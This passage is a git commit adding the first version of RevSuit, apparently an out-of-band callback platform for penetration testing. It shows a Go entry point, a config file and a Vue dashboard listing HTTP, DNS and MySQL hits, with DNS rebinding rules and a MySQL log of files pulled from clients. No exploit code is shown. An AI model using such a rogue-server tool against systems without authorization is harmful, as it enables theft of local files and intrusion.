feat: complete basic functions

Support http,dns and mysql connection. Support custom http, dns response. Support dns rebinding.
Support mysql load local files and jdbc deserialize exploit.
This commit is contained in:
Li4n0
2021-04-21 18:55:16 +08:00
parent e9db8ddb24
commit 3559894acc
114 changed files with 41617 additions and 0 deletions
+20
View File
@@ -0,0 +1,20 @@
.DS_Store
# local files
qqwry.dat
revsuit.db
# local config
config.yaml
# binary
revsuit
# Editor directories and files
.idea
.vscode
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?
+7
View File
@@ -0,0 +1,7 @@
package main
import "github.com/li4n0/revsuit/internal/cli"
func main() {
cli.Start()
}
+20
View File
@@ -0,0 +1,20 @@
version: 4.0
addr: :10000
token: token
database: revsuit.db
log_level: debug
http:
ip_header:
dns:
enable: true
mysql:
enable: true
addr: :3306
version_string: 10.4.13-MariaDB-log
notice:
dingtalk: https://oapi.dingtalk.com/robot/send?access_token={token}
lark: https://open.feishu.cn/open-apis/bot/v2/hook/{token}
weixin: https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={key}
slack: https://hooks.slack.com/services/{id}/{token}
+21
View File
@@ -0,0 +1,21 @@
.DS_Store
node_modules
# local env files
.env.local
.env.*.local
# Log files
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
# Editor directories and files
.idea
.vscode
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?
+24
View File
@@ -0,0 +1,24 @@
# revsuit-frontend
## Project setup
```
npm install
```
### Compiles and hot-reloads for development
```
npm run serve
```
### Compiles and minifies for production
```
npm run build
```
### Lints and fixes files
```
npm run lint
```
### Customize configuration
See [Configuration Reference](https://cli.vuejs.org/config/).
+5
View File
@@ -0,0 +1,5 @@
module.exports = {
presets: [
'@vue/cli-plugin-babel/preset'
]
}
+1
View File
@@ -0,0 +1 @@
.gray-table-row{background-color:#f5f5f5}#add-rule[data-v-0f53e934],#add-rule[data-v-56172c6c],#add-rule[data-v-d55a8788]{margin-bottom:10px}
+1
View File
@@ -0,0 +1 @@
body[data-v-1963d804],html[data-v-1963d804]{height:100%;margin:0}.fade-transform-enter-active[data-v-1963d804],.fade-transform-leave-active[data-v-1963d804]{transition:all .3s;opacity:0}.fade-transform-enter[data-v-1963d804],.fade-transform-leave[data-v-1963d804]{opacity:0}.fade-transform-enter-to[data-v-1963d804]{opacity:0}.ant-menu-item>span>a[data-v-1963d804]{color:hsla(0,0%,100%,.65)}.ant-menu-item-selected>span>a[data-v-1963d804]{color:#fff}#nav[data-v-1963d804]{height:100%}#nav .trigger[data-v-1963d804]{font-size:18px;line-height:64px;padding:0 24px;cursor:pointer;transition:color .3s}#nav .trigger[data-v-1963d804]:hover{color:#1890ff}#nav .logo[data-v-1963d804]{height:32px;background:#0a1d2d;margin:16px;text-align:center;font-size:1.2rem;color:#fff;padding-bottom:5px;border-bottom:2px solid #b6befa}
File diff suppressed because one or more lines are too long
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

+1
View File
@@ -0,0 +1 @@
<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><link rel="icon" href="favicon.ico"><title>revsuit-frontend</title><link href="css/about.css" rel="prefetch"><link href="js/about.js" rel="prefetch"><link href="css/app.css" rel="preload" as="style"><link href="css/chunk-vendors.css" rel="preload" as="style"><link href="js/app.js" rel="preload" as="script"><link href="js/chunk-vendors.js" rel="preload" as="script"><link href="css/chunk-vendors.css" rel="stylesheet"><link href="css/app.css" rel="stylesheet"></head><body><noscript><strong>We're sorry but revsuit-frontend doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app"></div><script src="js/chunk-vendors.js"></script><script src="js/app.js"></script></body></html>
+2
View File
File diff suppressed because one or more lines are too long
+1
View File
File diff suppressed because one or more lines are too long
+2
View File
File diff suppressed because one or more lines are too long
+1
View File
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+8
View File
@@ -0,0 +1,8 @@
package frontend
import (
"embed"
)
//go:embed dist
var FS embed.FS
+27246
View File
File diff suppressed because it is too large Load Diff
+47
View File
@@ -0,0 +1,47 @@
{
"name": "revsuit-frontend",
"version": "0.1.0",
"private": true,
"scripts": {
"serve": "vue-cli-service serve",
"build": "vue-cli-service build",
"lint": "vue-cli-service lint"
},
"dependencies": {
"ant-design-vue": "^1.2.4",
"axios": "^0.21.1",
"core-js": "^3.6.5",
"vue": "^2.6.11",
"vue-router": "^3.2.0"
},
"devDependencies": {
"@vue/cli-plugin-babel": "~4.5.0",
"@vue/cli-plugin-eslint": "~4.5.0",
"@vue/cli-plugin-router": "~4.5.0",
"@vue/cli-service": "~4.5.0",
"babel-eslint": "^10.1.0",
"eslint": "^6.7.2",
"eslint-plugin-vue": "^6.2.2",
"vue-cli-plugin-ant-design": "^1.0.1",
"vue-template-compiler": "^2.6.11"
},
"eslintConfig": {
"root": true,
"env": {
"node": true
},
"extends": [
"plugin:vue/essential",
"eslint:recommended"
],
"parserOptions": {
"parser": "babel-eslint"
},
"rules": {}
},
"browserslist": [
"> 1%",
"last 2 versions",
"not dead"
]
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

+17
View File
@@ -0,0 +1,17 @@
<!DOCTYPE html>
<html lang="">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<link rel="icon" href="<%= BASE_URL %>favicon.ico">
<title><%= htmlWebpackPlugin.options.title %></title>
</head>
<body>
<noscript>
<strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
</noscript>
<div id="app"></div>
<!-- built files will be auto injected -->
</body>
</html>
+134
View File
@@ -0,0 +1,134 @@
<template>
<a-layout id="nav">
<a-layout-sider v-model="collapsed" :trigger="null" collapsible>
<div class="logo"><b>R</b><span v-if="!collapsed"><b>ev</b>Suit</span></div>
<a-menu theme="dark" mode="inline" :selectedKeys="[this.$route.path]" :open-keys.sync='openKeys'>
<!-- <a-menu-item key="/">-->
<!-- <router-link to="/">-->
<!-- <a-icon type="dashboard"/>-->
<!-- <span>Dashboard</span>-->
<!-- </router-link>-->
<!-- </a-menu-item>-->
<a-sub-menu key="logs">
<span slot="title"><a-icon type="bar-chart"/><span>Logs</span></span>
<a-menu-item key="/logs/http">
<router-link to="/logs/http">HTTP Logs</router-link>
</a-menu-item>
<a-menu-item key="/logs/dns">
<router-link to="/logs/dns">DNS Logs</router-link>
</a-menu-item>
<a-menu-item key="/logs/mysql">
<router-link to="/logs/mysql">MySQL Logs</router-link>
</a-menu-item>
</a-sub-menu>
<a-sub-menu key="rules">
<span slot="title"><a-icon type="radar-chart"/><span>Rules</span></span>
<a-menu-item key="/rules/http">
<router-link to="/rules/http">HTTP Rules</router-link>
</a-menu-item>
<a-menu-item key="/rules/dns">
<router-link to="/rules/dns">DNS Rules</router-link>
</a-menu-item>
<a-menu-item key="/rules/mysql">
<router-link to="/rules/mysql">MySQL Rules</router-link>
</a-menu-item>
</a-sub-menu>
</a-menu>
</a-layout-sider>
<a-layout>
<a-layout-header style="background: #fff; padding: 0">
<a-icon
class="trigger"
:type="collapsed ? 'menu-unfold' : 'menu-fold'"
@click="() => (collapsed = !collapsed)"
/>
</a-layout-header>
<a-layout-content
:style="{ margin: '24px 16px', padding: '24px', borderRadius: '20px',background: '#fff', minHeight: 'initial' }"
>
<transition name="fade-transform">
<router-view></router-view>
</transition>
</a-layout-content>
</a-layout>
<Auth></Auth>
</a-layout>
</template>
<script>
import Auth from '@/components/Auth'
export default {
data() {
return {
collapsed: false,
openKeys: ['logs', "rules"],
};
},
components: {
Auth
}
};
</script>
<style scoped>
html, body {
height: 100%;
margin: 0;
}
/* fade-transform */
.fade-transform-leave-active,
.fade-transform-enter-active {
transition: all .3s;
opacity: 0;
}
.fade-transform-enter {
opacity: 0;
}
.fade-transform-leave {
opacity: 0;
}
.fade-transform-leave-to {
}
.fade-transform-enter-to {
opacity: 0;
}
.ant-menu-item > span > a {
color: rgba(255, 255, 255, 0.65);
}
.ant-menu-item-selected > span > a {
color: white;
}
#nav {
height: 100%;
}
#nav .trigger {
font-size: 18px;
line-height: 64px;
padding: 0 24px;
cursor: pointer;
transition: color 0.3s;
}
#nav .trigger:hover {
color: #1890ff;
}
#nav .logo {
height: 32px;
background: #0a1d2d;
margin: 16px;
text-align: center;
font-size: 1.2rem;
color: white;
padding-bottom: 5px;
border-bottom: 2px solid #b6befa;
}
</style>
+17
View File
@@ -0,0 +1,17 @@
import axios from 'axios'
const service = axios.create({
baseURL: '/revsuit/api/', // api的base_url
timeout: 5000 // request timeout
})
service.interceptors.request.use(function (config) {
const token = localStorage.getItem("token")
if (token !== null) {
config.headers['Token'] = token
}
// 在发送请求之前做些什么
return config
})
export default service
+11
View File
@@ -0,0 +1,11 @@
import request from './index'
export function ping() {
return request({
url: '/ping',
method: 'get',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
+34
View File
@@ -0,0 +1,34 @@
import request from './index'
export function getHttpRecord(params) {
return request({
url: '/record/http',
params: params,
method: 'get',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function getDnsRecord(params) {
return request({
url: '/record/dns',
params: params,
method: 'get',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function getMysqlRecord(params) {
return request({
url: '/record/mysql',
params: params,
method: 'get',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
+101
View File
@@ -0,0 +1,101 @@
import request from './index'
export function getHttpRule(params) {
return request({
url: '/rule/http',
params: params,
method: 'get',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function upsertHttpRule(data) {
return request({
url: '/rule/http',
data: data,
method: 'post',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function deleteHttpRule(data) {
return request({
url: '/rule/http',
data: data,
method: 'delete',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function getDnsRule(params) {
return request({
url: '/rule/dns',
params: params,
method: 'get',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function upsertDnsRule(data) {
return request({
url: '/rule/dns',
data: data,
method: 'post',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function deleteDnsRule(data) {
return request({
url: '/rule/dns',
data: data,
method: 'delete',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function getMysqlRule(params) {
return request({
url: '/rule/mysql',
params: params,
method: 'get',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function upsertMysqlRule(data) {
return request({
url: '/rule/mysql',
data: data,
method: 'post',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
export function deleteMysqlRule(data) {
return request({
url: '/rule/mysql',
data: data,
method: 'delete',
validateStatus: function (status) {
return status >= 200 && status < 300 // 默认的
}
})
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

+63
View File
@@ -0,0 +1,63 @@
<template>
<div>
<a-modal
title="Auth with token"
:visible="visible"
:confirm-loading="confirmLoading"
@cancel="cancel"
@ok="auth"
>
<a-input v-model.lazy="token" placeholder="Your token"/>
</a-modal>
</div>
</template>
<script>
import {store} from "@/main";
import {ping} from "@/api/ping"
export default {
data() {
return {
confirmLoading: false,
token: localStorage.getItem("token")
};
},
computed: {
visible: function () {
return !store.authed
},
},
watch: {
token: function (val) {
localStorage.setItem("token", val)
}
},
methods: {
auth() {
this.confirmLoading = true;
ping().then(() => {
store.authed = true;
this.confirmLoading = false;
}).catch(e => {
if (e.response.status === 403) {
this.$notification.error({
message: 'Wrong token',
description:
'Your token is wrong, please check your server config file.',
style: {
width: '600px',
marginLeft: `${335 - 600}px`,
},
duration: 2.5
});
}
this.confirmLoading = false;
})
},
cancel() {
store.authed = true;
}
},
};
</script>
+103
View File
@@ -0,0 +1,103 @@
<template>
<div>
<a-row :gutter="24">
<a-col :span="24">
<a-form-model-item label="Name" :rules="rules.name" prop="name">
<a-input v-model="form.name"
placeholder="Please enter rule name"
:readOnly="readOnly"
/>
</a-form-model-item>
</a-col>
</a-row>
<a-row :gutter="24">
<a-col :span="24">
<a-form-model-item :rules="rules.flagFormat" prop="flag_format">
<span slot="label">
Flag Format&nbsp;
<a-tooltip title="1. Only when the request contains content that satisfies the flag format, the request will be captured.
2. Please use regular expression syntax.
3. The character '*' means to capture all requests.
4. Advanced usage: When the format uses grouping, the platform will only notify the user or push to the client when the first group appears for the first time.">
<a-icon type="question-circle-o"/>
</a-tooltip>
</span>
<a-input
v-model="form.flag_format"
style="width: 100%"
placeholder="please enter flag format"
:readOnly="readOnly"
/>
</a-form-model-item>
</a-col>
</a-row>
<a-row :gutter="24">
<a-col :span="24">
<a-form-model-item prop="rank">
<span slot="label">
Rank
<a-tooltip title="When request match multiple rules, high-rank rules will be matched first">
<a-icon type="question-circle-o"/>
</a-tooltip>
</span>
<a-input-number style="width: 100%"
v-model="form.rank"
v-decorator="['rank']"
:disabled="readOnly"
placeholder="0"
>
</a-input-number>
</a-form-model-item>
</a-col>
</a-row>
<a-row :gutter="16">
<a-col :span="12">
<a-form-model-item>
<div class="ant-form-item-label">
<label for="push-to-client">Push to Client
<a-tooltip placement="topLeft" title="Whether push to client when capture flag with this rule.">
<a-icon type="question-circle"/>
</a-tooltip>
</label>
</div>
<a-switch v-model="form.push_to_client" id="push-to-client" :disabled="readOnly"/>
</a-form-model-item>
</a-col>
<a-col :span="12">
<a-form-model-item>
<div class="ant-form-item-label">
<label for="notice">Notice
<a-tooltip placement="topLeft" title="Whether notice with bot when capture flag with this rule.">
<a-icon type="question-circle"/>
</a-tooltip>
</label>
</div>
<a-switch v-model="form.notice" id="notice" :disabled="readOnly"/>
</a-form-model-item>
</a-col>
</a-row>
</div>
</template>
<script>
export default {
name: "BasicRule",
data() {
return {
rules: {
name: [
{required: true, message: 'Please input rule name', trigger: 'blur'},
],
flagFormat: [
{required: true, message: 'Please input flag format', trigger: 'blur'},
]
},
}
},
props: ['form', 'readOnly']
}
</script>
<style scoped>
</style>
+17
View File
@@ -0,0 +1,17 @@
import Vue from 'vue';
import Antd from 'ant-design-vue';
import App from './App';
import router from "@/router";
import 'ant-design-vue/dist/antd.css';
import '@/utils/index'
Vue.config.productionTip = false;
Vue.use(Antd);
export const store = Vue.observable({authed: localStorage.getItem("token")})
/* eslint-disable no-new */
new Vue({
router: router,
render: h => h(App)
}).$mount('#app')
+4
View File
@@ -0,0 +1,4 @@
import Vue from 'vue'
import Antd from 'ant-design-vue'
import 'ant-design-vue/dist/antd.css'
Vue.use(Antd)
+49
View File
@@ -0,0 +1,49 @@
import Vue from 'vue'
import VueRouter from 'vue-router'
import Home from '../views/Home.vue'
Vue.use(VueRouter)
const routes = [
{
path: '/',
name: 'Home',
component: Home
},
{
path: '/logs/http',
name: 'HttpLogs',
component: () => import(/* webpackChunkName: "about" */ '../views/logs/Http')
},
{
path: '/logs/dns',
name: 'DnsLogs',
component: () => import(/* webpackChunkName: "about" */ '../views/logs/Dns')
},
{
path: '/logs/mysql',
name: 'MysqlLogs',
component: () => import(/* webpackChunkName: "about" */ '../views/logs/Mysql')
},
{
path: '/rules/http',
name: 'HttpRules',
component: () => import(/* webpackChunkName: "about" */ '../views/rules/Http')
},
{
path: '/rules/dns',
name: 'DnsRules',
component: () => import(/* webpackChunkName: "about" */ '../views/rules/Dns')
},
{
path: '/rules/mysql',
name: 'MysqlRules',
component: () => import(/* webpackChunkName: "about" */ '../views/rules/Mysql')
}
]
const router = new VueRouter({
routes
})
export default router
+20
View File
@@ -0,0 +1,20 @@
Date.prototype.format = function (fmt) {
var o = {
"M+": this.getMonth() + 1, //月份
"d+": this.getDate(), //日
"h+": this.getHours(), //小时
"m+": this.getMinutes(), //分
"s+": this.getSeconds(), //秒
"q+": Math.floor((this.getMonth() + 3) / 3), //季度
"S": this.getMilliseconds() //毫秒
};
if (/(y+)/.test(fmt)) {
fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
}
for (var k in o) {
if (new RegExp("(" + k + ")").test(fmt)) {
fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
}
}
return fmt;
}
+15
View File
@@ -0,0 +1,15 @@
<template>
<div class="home">
<img alt="Vue logo" src="../assets/logo.png">
</div>
</template>
<script>
// @ is an alias to /src
export default {
name: 'Home',
components: {
}
}
</script>
+174
View File
@@ -0,0 +1,174 @@
<template>
<a-table
:columns="columns"
:data-source="data"
:loading="loading"
:pagination="pagination"
@change="handleTableChange"
:rowClassName="(record, index) => index % 2 === 0 ? '' : 'gray-table-row'"
>
<div
slot="filterDropdown"
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
style="padding: 8px"
>
<a-input
:placeholder="`Search ${column.dataIndex}`"
:value="selectedKeys[0]"
style="width: 188px; margin-bottom: 8px; display: block;"
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
@pressEnter="() => {
filters[column.dataIndex] = selectedKeys[0];
fetch()
}"
/>
<a-button
type="primary"
icon="search"
size="small"
style="width: 90px; margin-right: 8px"
@click="() => {
filters[column.dataIndex] = selectedKeys[0];
fetch()
}"
>
Search
</a-button>
<a-button size="small" style="width: 90px" @click="() =>{
clearFilters();
delete filters[column.dataIndex];
fetch()
}">
Reset
</a-button>
</div>
<a-icon
slot="filterIcon"
slot-scope="filtered"
type="search"
:style="{ color: filtered ? '#108ee9' : undefined }"
/>
<span slot="time" slot-scope="time">
{{ new Date(time).format("yyyy-MM-dd hh:mm:ss") }}
</span>
</a-table>
</template>
<style>
.gray-table-row {
background-color: #f5f5f5;
}
</style>
<script>
import {getDnsRecord} from '@/api/record'
import {store} from '@/main'
const columns = [
{
title: 'ID',
dataIndex: 'id',
key: 'id',
sorter: true,
sortDirections: ['descend', 'ascend'],
},
{
title: 'REQUEST TIME',
dataIndex: 'request_time',
key: 'request_time',
scopedSlots: {customRender: 'time'},
},
{
title: 'RULE',
dataIndex: 'rule_name',
key: 'rule_name',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'FLAG',
dataIndex: 'flag',
key: 'flag',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'DOMAIN',
dataIndex: 'domain',
key: 'domain',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'REMOTE IP',
key: 'remote_ip',
dataIndex: 'remote_ip',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'IP AREA',
key: 'ip_area',
dataIndex: 'ip_area'
}
];
export default {
name: 'DnsLogs',
data() {
return {
data: [],
pagination: {current: 1},
filters: {},
order: "desc",
loading: false,
columns,
};
},
methods: {
handleTableChange(pagination, filters, sorter) {
const pager = {...this.pagination};
pager.current = pagination.current;
this.pagination = pager;
this.order = sorter.order === "ascend" ? "asc" : "desc"
this.fetch();
},
fetch: function () {
this.loading = true;
let params = {
...this.filters,
page: this.pagination.current,
order: this.order
}
getDnsRecord(params).then(res => {
let result = res.data.result
this.data = result.data
const pagination = {...this.pagination};
// Read total count from server
// pagination.total = data.totalCount;
pagination.total = result.count;
this.pagination = pagination;
this.loading = false
}).catch(e => {
if (e.response.status === 403) {
store.authed = false
return []
} else {
console.error(e)
}
})
}
},
mounted() {
this.fetch({page: "1"});
},
}
</script>
+205
View File
@@ -0,0 +1,205 @@
<template>
<a-table
:columns="columns"
:data-source="data"
:loading="loading"
:pagination="pagination"
@change="handleTableChange"
:rowClassName="(record, index) => index % 2 === 0 ? '' : 'gray-table-row'"
>
<div
slot="filterDropdown"
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
style="padding: 8px"
>
<a-input
:placeholder="`Search ${column.dataIndex}`"
:value="selectedKeys[0]"
style="width: 188px; margin-bottom: 8px; display: block;"
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
@pressEnter="() => {
filters[column.dataIndex] = selectedKeys[0];
fetch()
}"
/>
<a-button
type="primary"
icon="search"
size="small"
style="width: 90px; margin-right: 8px"
@click="() => {
filters[column.dataIndex] = selectedKeys[0];
fetch()
}"
>
Search
</a-button>
<a-button size="small" style="width: 90px" @click="() =>{
clearFilters();
delete filters[column.dataIndex];
fetch()
}">
Reset
</a-button>
</div>
<a-icon
slot="filterIcon"
slot-scope="filtered"
type="search"
:style="{ color: filtered ? '#108ee9' : undefined }"
/>
<span slot="time" slot-scope="time">
{{ new Date(time).format("yyyy-MM-dd hh:mm:ss") }}
</span>
<span slot="method" slot-scope="method">
<a-tag
:color="colors[method]"
>
{{ method.toUpperCase() }}
</a-tag>
</span>
<code slot="expandedRowRender" slot-scope="record" style="margin: 0">
<b style="color: gray">RAW REQUEST:</b><br>
<hr/>
<span style="white-space: pre-line">{{ record.raw_request }}</span>
</code>
</a-table>
</template>
<style>
.gray-table-row {
background-color: #f5f5f5;
}
</style>
<script>
import {getHttpRecord} from '@/api/record'
import {store} from '@/main'
const colors = {
"GET": "green",
"POST": "red",
"HEAD": "pink",
"PUT": "geekblue",
"OPTIONS": "cyan",
"DELETE": "purple",
}
const columns = [
{
title: 'ID',
dataIndex: 'id',
key: 'id',
sorter: true,
sortDirections: ['descend', 'ascend'],
},
{
title: 'REQUEST TIME',
dataIndex: 'request_time',
key: 'request_time',
scopedSlots: {customRender: 'time'},
},
{
title: 'RULE',
dataIndex: 'rule_name',
key: 'rule_name',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'FLAG',
dataIndex: 'flag',
key: 'flag',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'METHOD',
dataIndex: 'method',
key: 'method',
scopedSlots: {
customRender: 'method',
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'PATH',
dataIndex: 'path',
key: 'path',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'REMOTE IP',
key: 'remote_ip',
dataIndex: 'remote_ip',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'IP AREA',
key: 'ip_area',
dataIndex: 'ip_area'
}
];
export default {
name: 'HttpLogs',
data() {
return {
data: [],
pagination: {current: 1},
filters: {},
loading: false,
columns,
colors
};
},
methods: {
handleTableChange(pagination, filters, sorter) {
const pager = {...this.pagination};
pager.current = pagination.current;
this.pagination = pager;
this.order = sorter.order === "ascend" ? "asc" : "desc"
this.fetch();
},
fetch: function () {
this.loading = true;
let params = {
...this.filters,
page: this.pagination.current,
order: this.order
}
getHttpRecord(params).then(res => {
let result = res.data.result
this.data = result.data
const pagination = {...this.pagination};
// Read total count from server
// pagination.total = data.totalCount;
pagination.total = result.count;
this.pagination = pagination;
this.loading = false
}).catch(e => {
if (e.response.status === 403) {
store.authed = false
return []
} else {
console.error(e)
}
})
}
},
mounted() {
this.fetch({page: "1"});
},
}
</script>
+232
View File
@@ -0,0 +1,232 @@
<template>
<a-table
:columns="columns"
:data-source="data"
:loading="loading"
:pagination="pagination"
@change="handleTableChange"
:rowClassName="(record, index) => index % 2 === 0 ? '' : 'gray-table-row'"
>
<div v-if="record.files.length" slot="expandedRowRender" slot-scope="record" style="margin: 0">
<b v-if="record.files.length" style="color: gray">FILES:</b><br>
<a v-for="file in record.files" :key="file.name+record.id" :href="'/revsuit/api/file/mysql/'+file.id" target="_blank">{{ file.name }} </a>
</div>
<div
slot="filterDropdown"
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
style="padding: 8px"
>
<a-input
:placeholder="`Search ${column.dataIndex}`"
:value="selectedKeys[0]"
style="width: 188px; margin-bottom: 8px; display: block;"
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
@pressEnter="() => {
filters[column.dataIndex] = selectedKeys[0];
fetch()
}"
/>
<a-button
type="primary"
icon="search"
size="small"
style="width: 90px; margin-right: 8px"
@click="() => {
filters[column.dataIndex] = selectedKeys[0];
fetch()
}"
>
Search
</a-button>
<a-button size="small" style="width: 90px" @click="() =>{
clearFilters();
delete filters[column.dataIndex];
fetch()
}">
Reset
</a-button>
</div>
<a-icon
slot="filterIcon"
slot-scope="filtered"
type="search"
:style="{ color: filtered ? '#108ee9' : undefined }"
/>
<span slot="time" slot-scope="time">
{{ new Date(time).format("yyyy-MM-dd hh:mm:ss") }}
</span>
<span slot="loadData" slot-scope="loadData">
<a-tag v-if="loadData"
color="green"
>True</a-tag><a-tag v-else color="red">False</a-tag>
</span>
<span slot="fileNum" slot-scope="files">
<a-tag v-if="files.length>=3"
color="purple"
>{{ files.length }}</a-tag>
<a-tag v-else :color="colors[files.length]">
{{ files.length }}
</a-tag>
</span>
</a-table>
</template>
<style>
.gray-table-row {
background-color: #f5f5f5;
}
</style>
<script>
import {getMysqlRecord} from '@/api/record'
import {store} from '@/main'
const colors = [
"geekblue",
"blue",
"pink",
]
const columns = [
{
title: 'ID',
dataIndex: 'id',
key: 'id',
sorter: true,
sortDirections: ['descend', 'ascend'],
},
{
title: 'REQUEST TIME',
dataIndex: 'request_time',
key: 'request_time',
scopedSlots: {customRender: 'time'},
},
{
title: 'RULE',
dataIndex: 'rule_name',
key: 'rule_name',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'FLAG',
dataIndex: 'flag',
key: 'flag',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'USER',
dataIndex: 'username',
key: 'username',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'LOAD DATA',
dataIndex: 'load_local_data',
key: 'load_local_data',
scopedSlots: {
customRender: "loadData",
}
},
{
title: 'FILE NUM',
dataIndex: 'files',
key: 'files',
scopedSlots: {
customRender: "fileNum",
}
},
{
title: 'CLIENT NAME',
dataIndex: 'client_name',
key: 'client_name',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'CLIENT OS',
dataIndex: 'client_os',
key: 'client_os',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'REMOTE IP',
key: 'remote_ip',
dataIndex: 'remote_ip',
scopedSlots: {
filterDropdown: 'filterDropdown',
filterIcon: 'filterIcon',
},
},
{
title: 'IP AREA',
key: 'ip_area',
dataIndex: 'ip_area'
}
];
export default {
name: 'MysqlLogs',
data() {
return {
data: [],
pagination: {current: 1},
filters: {},
order: "desc",
loading: false,
columns,
colors
};
},
methods: {
handleTableChange(pagination, filters, sorter) {
const pager = {...this.pagination};
pager.current = pagination.current;
this.pagination = pager;
this.order = sorter.order === "ascend" ? "asc" : "desc"
this.fetch();
},
fetch: function () {
this.loading = true;
let params = {
...this.filters,
page: this.pagination.current,
order: this.order
}
getMysqlRecord(params).then(res => {
let result = res.data.result
this.data = result.data
const pagination = {...this.pagination};
// Read total count from server
// pagination.total = data.totalCount;
pagination.total = result.count;
this.pagination = pagination;
this.loading = false
}).catch(e => {
if (e.response.status === 403) {
store.authed = false
return []
} else {
console.error(e)
}
})
}
},
mounted() {
this.fetch({page: "1"});
},
}
</script>
+429
View File
@@ -0,0 +1,429 @@
<template xmlns:a-col="http://www.w3.org/1999/html">
<div>
<a-button id="add-rule" type="primary" @click="addRule">
<a-icon type="plus"/>
New Rule
</a-button>
<!-- rule form-->
<a-drawer
:title="formAction+ ' Dns rule'"
:width="460"
:visible="formVisible"
:body-style="{ paddingBottom: '80px' }"
@close="closeDrawer"
>
<a-form-model :model="form" ref="form" layout="vertical" @submit="handleSubmit">
<BasicRule :form="form" :readOnly="formReadOnly"/>
<a-row :gutter="24">
<a-col :span="12">
<a-form-model-item label="Type" :rules="rules.type">
<a-select style="width: 100%"
v-model="form.type"
v-decorator="['type']"
:disabled="formReadOnly"
placeholder="A"
>
<a-select-option :value=1>A</a-select-option>
<a-select-option :value=28>AAAA</a-select-option>
<a-select-option :value=5>CNAME</a-select-option>
<a-select-option :value=16>TXT</a-select-option>
<a-select-option :value=2>NS</a-select-option>
<a-select-option :value=99>REBINDING</a-select-option>
</a-select>
</a-form-model-item>
</a-col>
<a-col :span="12">
<a-form-model-item label="TTL" :rules="rules.ttl">
<a-input-number style="width: 100%"
v-model="form.ttl"
v-decorator="['ttl']"
:disabled="formReadOnly"
placeholder="10"
:value="form.type === 99 ? form.ttl = 0 : null"
>
</a-input-number>
</a-form-model-item>
</a-col>
</a-row>
<a-row :gutter="24">
<a-col :span="24">
<a-form-model-item label="Value" :rules="rules.value">
<a-input
v-model="form.value"
style="width: 100%"
:placeholder="form.type === 99 ?
'8.8.8.8,127.0.0.1' : 'please enter resolve value'
"
:readOnly="formReadOnly"
/>
</a-form-model-item>
</a-col>
</a-row>
</a-form-model>
<div
:style="{
position: 'absolute',
right: 0,
bottom: 0,
width: '100%',
borderTop: '1px solid #e9e9e9',
padding: '10px 16px',
background: '#fff',
textAlign: 'right',
zIndex: 1,
}"
>
<a-button :style="{ marginRight: '8px' }" @click="handleCancel">
Cancel
</a-button>
<a-button type="primary" :disabled="formReadOnly" @click="handleSubmit">
Submit
</a-button>
